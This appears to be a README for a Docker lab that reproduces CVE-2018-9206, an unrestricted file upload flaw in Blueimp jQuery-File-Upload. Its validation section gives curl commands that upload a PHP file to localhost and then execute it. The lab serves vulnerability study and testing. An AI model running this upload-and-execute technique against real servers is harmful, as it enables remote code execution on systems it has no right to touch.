CVE-2018-9206 - Blueimp jQuery-File-Upload Lab

Vulnerable Docker environment for CVE-2018-9206 - Unrestricted File Upload in Blueimp jQuery-File-Upload <= 9.22.0.

Quickstart

docker compose up -d --build

App available at: http://localhost:8888/jQuery-File-Upload/

Validate

# Upload a PHP file
curl -X POST "http://localhost:8888/jQuery-File-Upload/server/php/index.php" \
  -F 'files[]=@/dev/stdin;filename=test.php' <<< '<?php echo "CVE-2018-9206-PWNED"; ?>'

# Execute it
curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php"
# Output: CVE-2018-9206-PWNED

Or run the PoC script:

./scripts/poc.sh

Cleanup

docker compose down -v

Details

Field	Value
CVE	CVE-2018-9206
Product	Blueimp jQuery-File-Upload
Version	9.22.0
Type	Unrestricted File Upload → RCE

References

https://nvd.nist.gov/vuln/detail/CVE-2018-9206
http://www.vapidlabs.com/advisory.php?v=204
https://www.exploit-db.com/exploits/45790/

CVE-2018-9206-jquery-file-upload

Most Popular